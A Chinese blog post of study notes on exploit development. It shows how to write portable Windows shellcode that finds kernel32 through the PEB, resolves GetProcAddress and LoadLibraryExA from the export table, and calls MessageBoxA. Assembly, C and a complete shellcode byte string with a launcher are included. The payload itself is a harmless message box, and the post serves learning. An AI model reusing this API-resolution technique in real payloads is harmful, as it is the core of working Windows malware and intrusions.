溢出漏洞原理及利用(3)

标签: 漏洞分析 漏洞利用 shellcode
5人阅读 评论(0) 收藏 举报
分类:

溢出漏洞原理及利用

本文是作者学习过程的笔记整理而来的,如有错误,还请见谅!

接上一篇

适用性更强的MessageBox

之前我们写的MessageBox,是直接在调试器中找到的地址.当模块使用动态加载基址的时候,我们重启系统或者在其他机器上运行的时候,函数地址就改变了.
为了程序在其他系统通用,需要动态获取MessageBoxA和EixtProcess函数的地址.
思路就是:
使用FS寄存器找到当前TEB,得到0x30处的PEB,通过PEB中0xC0出的位置找到PEB_LDR_DATA的结构体指针,使用其中的三个模块信息链表寻找kernel32.dll,然后找到dll中导出的GetProcAddress函数的地址,使用GetProcAddress函数获取LoadLibrary函数的地址
有了这两个函数,其他函数就都可以获取了.
一般三个链表顺序如图(第一个都为ntdll.dll):
这里写图片描述
通过三个链表查看加载模块信息,代码:

    int main()
{
    void *PEB = NULL,
        *Ldr = NULL,
        *FlinkLoad = NULL,
        *FlinkMem = NULL,
        *FlinkInit = NULL,
        *p = NULL,
        *BaseAdd = NULL,
        *FullName = NULL,
        *BaseDllName = NULL;
    __asm 
    {
        push eax;
        mov eax, fs:[0x30];// PEB
        mov PEB, eax;
        pop eax;
    }
    Ldr = (PVOID)*((PDWORD)((DWORD)PEB + 0x0C));
    FlinkLoad = (PVOID)*((PDWORD)((DWORD)Ldr + 0x0C));
    FlinkMem = (PVOID)*((PDWORD)((DWORD)Ldr + 0x14));
    FlinkInit = (PVOID)*((PDWORD)((DWORD)Ldr + 0x1C));
    printf("------使用加载顺序链查找-----\n\n");
    // 使用加载链找
    p = FlinkLoad;
    do 
    {
        BaseAdd = (PVOID)*(PDWORD)((DWORD)p + 0x18);
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x30));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    } while (FlinkLoad!=p);


    printf("------使用内存顺序链查找-----\n\n");
    // 使用内存链找
    p = FlinkMem;
    do 
    {
        BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x10));
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    } while (FlinkMem!=p);
    printf("------使用初始化顺序链查找----\n\n");
    // 使用初始化链找
    p = FlinkInit;
    do
    {
        BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x08));
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x18));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    }
    while (FlinkInit != p);
    return 0;
}

根据以上思路开始实现.
1.获取kernel32基址(这里我们通过第三个链表来获取kernel32.dll的基址):

//获取kenerl32模块基址
        mov esi, dword ptr fs : [0x30];             //esi=PEB地址
        mov esi, [esi + 0x0C];                      //esi=指向PEB_LDR_DATA结构体的指针
        mov esi, [esi + 0x1C];                      //esi=结构体中的第三个链表InInitializationOrderMoudleList指针
        mov esi, [esi];                             //esi=链表中第二个元素即kernelBase模块的信息
        mov esi, [esi];                             //esi=链表中第三个元素即kernel32模块的信息
        mov edx, [esi + 0x8];                       //edx=DllBase(即kernel32的基址)

2.获取GetProcAddress函数地址

//获取关键函数地址
    fun_GetProcAddress: //(int ImageBase,int BaseAddr)
        push ebp;
        mov ebp, esp;
        sub esp, 0x0C;
        push edx;
        //获取EAT,ENT与EOT的地址
        mov edx, [ebp + 0x08];                      //kernel32.dll基址
        mov esi, [edx + 0x3C];                      //IMAGE_DOS_HEADER.elfanew
        lea esi, [edx + esi];                       //PE文件头VA(基址+偏移)
        mov esi, [esi + 0x78];                      //IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress  
        lea esi, [edx + esi];                       //导出表VA
        mov edi, [esi + 0x1C];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        lea edi, [edx + edi];                       //EAT  VA
        mov[ebp - 0x04], edi;                       //Local_1=EAT  VA//导出地址表  
        mov edi, [esi + 0x20];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfNames
        lea edi, [edx + edi];                       //ENT  VA
        mov[ebp - 0x08], edi;                       //Local_2=ENT  VA//导出名称表  
        mov edi, [esi + 0x24];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        lea edi, [edx + edi];                       //EOT  VA
        mov[ebp - 0x0C], edi;                       //Local_3=EOT  VA//指向导出序列号数组
        //循环对比ENT中的函数名
        xor eax, eax;
        jmp tag_FirstCmp;
    tag_CmpFunNameCmp:
        inc eax;
    tag_FirstCmp:
        mov esi, [ebp - 0x08];                      //Local_2=ENT  VA
        mov esi, [esi + eax * 4];                   //ENT  RVA
        mov edx, [ebp + 0x08];                      //Param_1(ImageBase)
        lea esi, [edx + esi];                       //ENT  VA
        mov ebx, [ebp + 0x0C];                      //Param_2(BaseAddr)
        lea edi, [ebx - 0x51];                      //GetProcAddress字符串
        mov ecx, 0x0E;                              //GetProcAddress字符串长度
        cld;
        repe cmpsb;                                 //对比ESI,EDI
        jne tag_CmpFunNameCmp;                      //不相等继续循环对比
        //对比成功后,找到对应的序号
        mov esi, [ebp - 0x0C];                      //Local_3=EOT  VA
        xor edi, edi;
        mov di, [esi + eax * 2];                    //用函数名数组下标在序号数组找到对应的序号
        //使用序号作为索引,找到函数名所对应的函数地址
        mov edx, [ebp - 0x04];                      //Local_1=EAT  VA
        mov esi, [edx + edi * 4];                   //用序号在函数地址数组找到对应的函数地址
        mov edx, [ebp + 0x08];                      //edx=Param_1(ImageBaes)
        //返回关键函数地址
        lea eax, [edx + esi];                       //返回GetProcAddress函数地址
        pop edx;
        mov esp, ebp;
        pop ebp;
        retn 0x08;

3.获取LoadLibraryExA函数地址

//获取LoadLibraryExA函数地址
        lea ecx, [ebx - 0x43];                      //获取LoadLibraryExA字符串地址
        push ecx;                                   //|-lpProcName="LoadLibraryExA"
        push edx;                                   //|-hMoudle=kernel32.dll
        call eax;                                   //GetProcAddress();

最终,写完汇编代码生成ShellCode,我们就能使用所有的函数了.
最后的shellcode:

// shellcode_helloworld2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

char bShellcode[] = "\x60\x83\xEC\x20\xEB\x4C\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x36\x8B\x56\x08\x52\x53\x52\xE8\x13\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAF\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00";

int main()
{
    //Fun();
    _asm
    {
        lea eax, bShellcode;
        push eax;
        ret;
    }
    return 0;
}

运行效果:
这里写图片描述


查看评论

Ms04011漏洞

呵呵,大家都应知道这个漏洞吧,哈哈,它好厉害哦。HACKER们利用它来可以得到操作系统的administrators权限,得到系统的shell。不多说别的,看看他们都是入何入侵别人的机器吧。 1.  ...
  • carbon107
  • carbon107
  • 2004-07-06 21:29:00
  • 4532

堆栈溢出攻击原理

eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。 ...
  • aemperor
  • aemperor
  • 2015-08-06 07:57:52
  • 4417

缓冲区溢出漏洞攻击——Shellcode编写

一、实验内容利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”二、实验原理因为输入了过长的字符,而缓冲区本身又没有有效的...
  • pianogirl123
  • pianogirl123
  • 2016-12-19 20:53:49
  • 1823

验证本地缓冲区溢出漏洞攻击

Info:本篇主要是为了验证本地缓冲区溢出,这是理解缓冲区溢出攻击的第一步,有了这一步,才能更深刻的理解到什么是缓冲区漏洞攻击,从而对以后的学习奠定一定的基础(注意:以下请在linux环境下实验) 基...
  • wingStudio_zongheng
  • wingStudio_zongheng
  • 2016-10-30 19:03:31
  • 1901

格式化字符串攻击原理及示例

一、类printf函数簇实现原理类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型。对于这种情况,可以使用省略号指定参数表。带有省略号的函数定义中,参数表分为两部分,前半...
  • immcss
  • immcss
  • 2011-03-22 14:20:00
  • 11725

栈溢出漏洞攻击原理及防护技术

文/H3C攻防研究团队 现阶段的安全漏洞种类很多,包括大家熟悉的SQL注入漏洞、缓存溢出漏洞、XSS跨站脚本漏洞等。而栈溢出漏洞作为缓冲区溢出漏洞的一种特定的表现形式,在现实网络环境中比较普遍。本文...
  • zhouwei1221q
  • zhouwei1221q
  • 2015-08-12 17:08:51
  • 1989

C/C++典型漏洞产生原理与Demo

本篇主要是自己学习笔记,快速读了下泉哥的《漏洞战争》的读书笔记。这里只涉及漏洞产生原理,即漏洞是怎么写出来。至于怎么分析0Day,怎么写代码执行的exp,后续将做深入研究。C/C++的代码执行漏洞,很...
  • u010651541
  • u010651541
  • 2017-07-26 21:25:29
  • 674

CTF之堆溢出-unlink原理探究

来干!来干! 转战堆溢出,这东东确实接触的很少,听说很神奇很细腻。我也是初次接触就和大家一起共同学习下,也填补下这方面的空白。 https://sploitfun.wordpress.com/2...
  • qq_33438733
  • qq_33438733
  • 2017-06-12 23:45:14
  • 2093

glibc下各种堆溢出漏洞利用条件和方法总结

各种堆溢出漏洞总结溢出多个字节的情况一、利用条件一个chunk可以溢出,并且可以覆盖到下一个 chunk 的 size 位、fd、bk二、利用关键把 second chunk 的 size 覆盖为0,...
  • axiejundong
  • axiejundong
  • 2017-12-30 13:50:37
  • 321

CSRF漏洞的挖掘与利用

0x01 CSRF的攻击原理 CSRF 百度上的意思是跨站请求伪造,其实最简单的理解我们可以这么讲,假如一个微博关注用户的一个功能,存在CSRF漏洞,那么此时黑客只需要伪造一个页面让受害者间接或...
  • u012804180
  • u012804180
  • 2016-07-29 14:46:42
  • 1304
    个人资料
    等级:
    访问量: 0
    积分: 40
    排名: 0
    文章存档